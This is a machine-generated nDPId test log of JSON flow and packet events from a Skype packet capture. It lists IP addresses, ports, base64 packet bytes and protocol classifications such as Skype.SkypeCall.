+00529{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1386,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":237,"flow_packet_id":1,"flow_first_seen":1431970687262,"flow_last_seen":0,"flow_tot_l4_data_len":26,"flow_min_l4_data_len":26,"flow_max_l4_data_len":26,"flow_avg_l4_data_len":26,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"189.138.161.88","src_port":13021,"dst_port":19521,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00490{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1387,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":238,"flow_packet_id":1,"flow_first_seen":1431970687262,"flow_last_seen":0,"flow_tot_l4_data_len":26,"flow_min_l4_data_len":26,"flow_max_l4_data_len":26,"flow_avg_l4_data_len":26,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"189.188.134.174","src_port":13021,"dst_port":22436,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00428{"flow_id":238,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1387,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970687,"pkt_ts_usec":262098,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"0NQSxnP1PBXCt3IOCABFAAAuOf4AAEAROozAqAEivbyGrjLdV6QAGoKkfCUCWKDpreHeWqMtL4LNh6CD"} +00530{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1387,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":238,"flow_packet_id":1,"flow_first_seen":1431970687262,"flow_last_seen":0,"flow_tot_l4_data_len":26,"flow_min_l4_data_len":26,"flow_max_l4_data_len":26,"flow_avg_l4_data_len":26,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"189.188.134.174","src_port":13021,"dst_port":22436,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00503{"flow_id":223,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1388,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970687,"pkt_ts_usec":337958,"pkt_caplen":114,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":114,"pkt_l4_len":80,"pkt":"0NQSxnP1PBXCt3IOCABFAABkxTpAAEAGW+zAqAEiQAQXn8hSAbvNFjuOa1gmPIAZECyYNgAAAQEICj4yU5ZMR9pGOm9QiCGp0cwW6vp4r5Dn8\/7YY8lRGP7REcP1BqFDpRTD4qb3sZ4E9ti6rTGePCt6"} +00422{"flow_id":230,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1399,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970687,"pkt_ts_usec":666142,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAo51IAAEARD\/\/AqAEiwKgBAeasFOcAFAzzAAEAADLdMt0AAA4Q"} +00462{"flow_id":231,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1404,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970687,"pkt_ts_usec":668942,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"PBXCt3IO0NQSxnP1CABFwABElsAAAEABX8XAqAEBwKgBIgMDgJYAAAAARQAAKOdSAABAEQ\/\/wKgBIsCoAQHmrBTnABQM8wABAAAy3TLdAAAOEA=="} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1406,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":239,"flow_packet_id":1,"flow_first_seen":1431970687670,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"76.167.161.6","src_port":51288,"dst_port":20274,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00456{"flow_id":239,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1406,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970687,"pkt_ts_usec":670003,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAjTxAAEAG\/gPAqAEiTKehBshYTzLHdCWnAAAAALAC\/\/\/vzwAAAgQFtAEDAwUBAQgKPjJU3AAAAAAEAgAA"} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1407,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":240,"flow_packet_id":1,"flow_first_seen":1431970687670,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"71.238.7.203","src_port":51289,"dst_port":18767,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00455{"flow_id":240,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1407,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970687,"pkt_ts_usec":670182,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABADkBAAEAGGvXAqAEiR+4Hy8hZSU+Qnyq6AAAAALAC\/\/\/FaAAAAgQFtAEDAwUBAQgKPjJU3AAAAAAEAgAA"} +00512{"flow_id":192,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1408,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970687,"pkt_ts_usec":670347,"pkt_caplen":119,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":119,"pkt_l4_len":85,"pkt":"0NQSxnP1PBXCt3IOCABFAABpUJ1AAEAGn1fAqAEinTfrmMhKAbuh9dMOzkYJiIAZECx5nAAAAQEICj4yVN1MXimi86hE3Mf+F71gUhXfICsOYAQVmYXa6zVmVAN\/UCwMTk1xoRWYRdaWkDsfzScQ6Y1RzsI3trk="} +00488{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1409,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":241,"flow_packet_id":1,"flow_first_seen":1431970687670,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"5.248.186.221","src_port":51290,"dst_port":31010,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00454{"flow_id":241,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1409,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970687,"pkt_ts_usec":670559,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAtDFAAEAGA+fAqAEiBfi63chaeSLm2Z5sAAAAALAC\/\/9aigAAAgQFtAEDAwUBAQgKPjJU3QAAAAAEAgAA"} +00468{"flow_id":166,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1414,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970687,"pkt_ts_usec":726679,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLZ5gAAEARj5bAqAEiwKgBAe6nADUAN3lCuqsBAAABAAAAAAAABHBpcGUDcHJkCXNreXBlZGF0YQZha2FkbnMDbmV0AAABAAE="} +00468{"flow_id":167,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1415,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970687,"pkt_ts_usec":726760,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLTOwAAEARqkLAqAEiwKgBAdo6ADUAN4ffpXsBAAABAAAAAAAABHBpcGUDcHJkCXNreXBlZGF0YQZha2FkbnMDbmV0AAAcAAE="} +00452{"flow_id":241,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1416,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970687,"pkt_ts_usec":774114,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"PBXCt3IO0NQSxnP1CABFAABA71RAAHIGlsMF+LrdwKgBInkiyFqd8pp25tmebbASRBBwGwAAAgQFrAEDAwABAQgKAAAAAAAAAAABAQQC"} +00436{"flow_id":241,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1417,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970687,"pkt_ts_usec":774197,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0QypAAEAGdPrAqAEiBfi63chaeSLm2Z5tnfKad4AQECxRTAAAAQEICj4yVUQAAAAA"} +00562{"flow_id":241,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1418,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970687,"pkt_ts_usec":774770,"pkt_caplen":156,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":156,"pkt_l4_len":122,"pkt":"0NQSxnP1PBXCt3IOCABFAACOEktAAEAGpX\/AqAEiBfi63chaeSLm2Z5tnfKad4AYECz\/IgAAAQEICj4yVUQAAAAAEro9W9UC6NFFKgCYEzefPL6\/qkBreBn4jc1fLbrA9dMZ7FlE+weduUyLIBSOejvPMa7HzM2aw5gpRn8kRbL7cCHeN3y9yjNIGXbv1DXiayARDqcsrfqj+Amm"} +00580{"flow_id":241,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1419,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970687,"pkt_ts_usec":876660,"pkt_caplen":166,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":166,"pkt_l4_len":132,"pkt":"PBXCt3IO0NQSxnP1CABFAACY71tAAHIGlmQF+LrdwKgBInkiyFqd8pp35tmex4AYQ7Z0ZAAAAQEICgAAlPE+MlVEPCf64N\/QgoTnxCPZZ6j\/9gMBTUfU2F6JMXlII3D19KHxYirUXzwIZDKL6zrUfUT3umO4yWYfROXSm5DB\/tecXerTaLmWj\/TVAgtAsS5HTE0aQxipxv+kxTJ78KFet\/w9SrPImQ=="} +00436{"flow_id":241,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1420,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970687,"pkt_ts_usec":876781,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0RftAAEAGcinAqAEiBfi63chaeSLm2Z7HnfKa24AQECi7OgAAAQEICj4yVaoAAJTx"} +00448{"flow_id":241,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1421,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970687,"pkt_ts_usec":877321,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8D2FAAEAGqLvAqAEiBfi63chaeSLm2Z7HnfKa24AYECiXeQAAAQEICj4yVaoAAJTxinTTcj1jiGY="} +00455{"flow_id":240,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1422,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970687,"pkt_ts_usec":881185,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"PBXCt3IO0NQSxnP1CABFAABArt9AAHMGR1VH7gfLwKgBIklPyFnlnJYLkJ8qu7AS\/\/\/byQAAAgQFrAEDAwABAQgKAAAAAAAAAAABAQQC"} +00436{"flow_id":240,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1423,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970687,"pkt_ts_usec":881264,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0JOpAAEAGBFfAqAEiR+4Hy8hZSU+Qnyq75ZyWDIAQECx4gAAAAQEICj4yVa4AAAAA"} +00556{"flow_id":240,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1424,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970687,"pkt_ts_usec":881839,"pkt_caplen":151,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":151,"pkt_l4_len":117,"pkt":"0NQSxnP1PBXCt3IOCABFAACJEuhAAEAGFgTAqAEiR+4Hy8hZSU+Qnyq75ZyWDIAYECyacAAAAQEICj4yVa4AAAAAx2WJEmFzkGyznsv5bIHiMa2rgJ3+hmTd8W9fL51XZsuiyweeLlWDllR6yJDQSBKY5dKbkMH+15xd6tNouZaP9NUCC0CxLkdMTRpDGKnG\/6TFMnvwoQ=="} +00449{"flow_id":214,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1426,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970687,"pkt_ts_usec":896133,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8d9xAAEAGqXLAqAEiQAQXn8hOnEl2PjsWIF+fsYAZECgQyAAAAQEICj4yVbxMR9i06BKmNwKjHHk="} +00455{"flow_id":4,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1427,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970687,"pkt_ts_usec":929006,"pkt_caplen":81,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":81,"pkt_l4_len":47,"pkt":"0NQSxnP1PBXCt3IOCABFAABDJDAAAEAR0wbAqAEiwKgBAe0QADUAL\/kqxMsBAAABAAAAAAAABGNvbm4Fc2t5cGUGYWthZG5zA25ldAAAAQAB"} +00454{"flow_id":5,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1428,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970687,"pkt_ts_usec":929086,"pkt_caplen":81,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":81,"pkt_l4_len":47,"pkt":"0NQSxnP1PBXCt3IOCABFAABDhqIAAEARcJTAqAEiwKgBAeUHADUAL+4jvNsBAAABAAAAAAAABGNvbm4Fc2t5cGUGYWthZG5zA25ldAAAHAAB"} +00449{"flow_id":239,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1429,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970687,"pkt_ts_usec":953040,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAAC4GnURMp6EGwKgBIk8yyFgS\/h6Xx3QlqKAScSDnSgAAAgQFrAQCCAq+r7gZPjJU3AEDAwc="} +00436{"flow_id":239,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1430,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970687,"pkt_ts_usec":953143,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA06CNAAEAGoyjAqAEiTKehBshYTzLHdCWoEv4emIAQECx16wAAAQEICj4yVfS+r7gZ"} +00569{"flow_id":239,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1431,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970687,"pkt_ts_usec":953768,"pkt_caplen":161,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":161,"pkt_l4_len":127,"pkt":"0NQSxnP1PBXCt3IOCABFAACTKcJAAEAGYSvAqAEiTKehBshYTzLHdCWoEv4emIAYECwycAAAAQEICj4yVfS+r7gZDpcymbPRjqHS0MBRvFH\/Ltx8fwWiBBmQIi9mCQBkccCvt9P5uN6AByyOzUlygvBS3J0qE6j51s80FUJLgPFuh4yNWoNY6QY\/5AVyuzDhnvc8fYrzCNk2r5T1oivg0c4="} +00437{"flow_id":147,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1435,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970687,"pkt_ts_usec":998806,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0Hx5AADcGpXBv3U2OwKgBIpxNyDjFFwxF9Eu8KYARAB1V6gAAAQEICk2QKO8+MgZ1"} +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1439,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":242,"flow_packet_id":1,"flow_first_seen":1431970688025,"flow_last_seen":0,"flow_tot_l4_data_len":26,"flow_min_l4_data_len":26,"flow_max_l4_data_len":26,"flow_avg_l4_data_len":26,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.14","src_port":13021,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00427{"flow_id":242,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1439,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970688,"pkt_ts_usec":25302,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"0NQSxnP1PBXCt3IOCABFAAAuOK8AAEARxlrAqAEib91KDjLdAbsAGqZSfFUC4vleo7UvMvPmsU4YCKBd"} +00583{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1439,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":242,"flow_packet_id":1,"flow_first_seen":1431970688025,"flow_last_seen":0,"flow_tot_l4_data_len":26,"flow_min_l4_data_len":26,"flow_max_l4_data_len":26,"flow_avg_l4_data_len":26,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.14","src_port":13021,"dst_port":443,"l4_proto":"udp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port"},"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00469{"flow_id":178,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1440,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970688,"pkt_ts_usec":51220,"pkt_caplen":90,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":90,"pkt_l4_len":56,"pkt":"0NQSxnP1PBXCt3IOCABFAABMImpAAEAGnIjAqAEib91KEshEAbuPHWXUImhLeYAZECz6TQAAAQEICj4yVlNNdq638u7zvxiLk1N\/bk90UuwO7GFozw5RA+4e"} +00467{"flow_id":204,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1441,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970688,"pkt_ts_usec":53940,"pkt_caplen":88,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":88,"pkt_l4_len":54,"pkt":"0NQSxnP1PBXCt3IOCABFAABKaYcAAEARjajAqAEiwKgBAftsADUANoJ0c24BAAABAAAAAAAAAzMzNQEwATcBNwEzBHJzdDABcgVza3lwZQNuZXQAABwAAQ=="} +00469{"flow_id":203,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1442,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970688,"pkt_ts_usec":54034,"pkt_caplen":88,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":88,"pkt_l4_len":54,"pkt":"0NQSxnP1PBXCt3IOCABFAABKe8AAAEARe2\/AqAEiwKgBAev9ADUANqf\/XW0BAAABAAAAAAAAAzMzNQEwATcBNwEzBHJzdDABcgVza3lwZQNuZXQAAAEAAQ=="} +00511{"flow_id":240,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1445,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970688,"pkt_ts_usec":98704,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"PBXCt3IO0NQSxnP1CABFAABorutAAHMGRyFH7gfLwKgBIklPyFnlnJYMkJ8rEIAY\/6o2oQAAAQEICgMcyYQ+MlWueZdzeP9hsjyNsTGhZv0InKa0Xq3\/UQOxqE0kC7zsN+Twy5ADXa73B9jaxNh1frRaLXojeA=="} +00435{"flow_id":240,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1446,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970688,"pkt_ts_usec":98806,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0YtBAAEAGxnDAqAEiR+4Hy8hZSU+QnysQ5ZyWQIAQECqqhQAAAQEICj4yVoEDHMmE"} +00447{"flow_id":240,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1447,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970688,"pkt_ts_usec":99366,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8FYBAAEAGE7nAqAEiR+4Hy8hZSU+QnysQ5ZyWQIAYECp95AAAAQEICj4yVoEDHMmEsUo9bapdk3s="} +00437{"flow_id":239,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1448,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970688,"pkt_ts_usec":236287,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0p6tAAC8G9KBMp6EGwKgBIk8yyFgS\/h6Yx3QmB4AQAOODugAAAQEICr6vuTQ+MlX0"} +00512{"flow_id":239,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1449,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970688,"pkt_ts_usec":236294,"pkt_caplen":120,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":120,"pkt_l4_len":86,"pkt":"PBXCt3IO0NQSxnP1CABFAABqp6xAAC8G9GlMp6EGwKgBIk8yyFgS\/h6Yx3QmB4AYAOMjhQAAAQEICr6vuTU+MlX0979\/jAaFxz9J17kaFgdP5kj+tcc94wOOYkyU7BSju0gtD25WNJlFffpkoREITQq1kY4nrC16"} +00436{"flow_id":239,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1450,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970688,"pkt_ts_usec":236469,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0R15AAEAGQ+7AqAEiTKehBshYTzLHdCYHEv4ezoAQECpzJgAAAQEICj4yVwq+r7k1"} +00448{"flow_id":239,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1451,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970688,"pkt_ts_usec":237097,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8HstAAEAGbHnAqAEiTKehBshYTzLHdCYHEv4ezoAYECqQygAAAQEICj4yVwq+r7k1zWOVyLN8y6I="} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1458,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":243,"flow_packet_id":1,"flow_first_seen":1431970688320,"flow_last_seen":0,"flow_tot_l4_data_len":26,"flow_min_l4_data_len":26,"flow_max_l4_data_len":26,"flow_avg_l4_data_len":26,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.141","src_port":13021,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00428{"flow_id":243,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1458,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970688,"pkt_ts_usec":320038,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"0NQSxnP1PBXCt3IOCABFAAAukPgAAEARnzfAqAEinTfrjTLdAbsAGuidfHYCyiJR+IygHiSHdyp3P0rG"} +00584{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1458,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":243,"flow_packet_id":1,"flow_first_seen":1431970688320,"flow_last_seen":0,"flow_tot_l4_data_len":26,"flow_min_l4_data_len":26,"flow_max_l4_data_len":26,"flow_avg_l4_data_len":26,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.141","src_port":13021,"dst_port":443,"l4_proto":"udp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port"},"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} 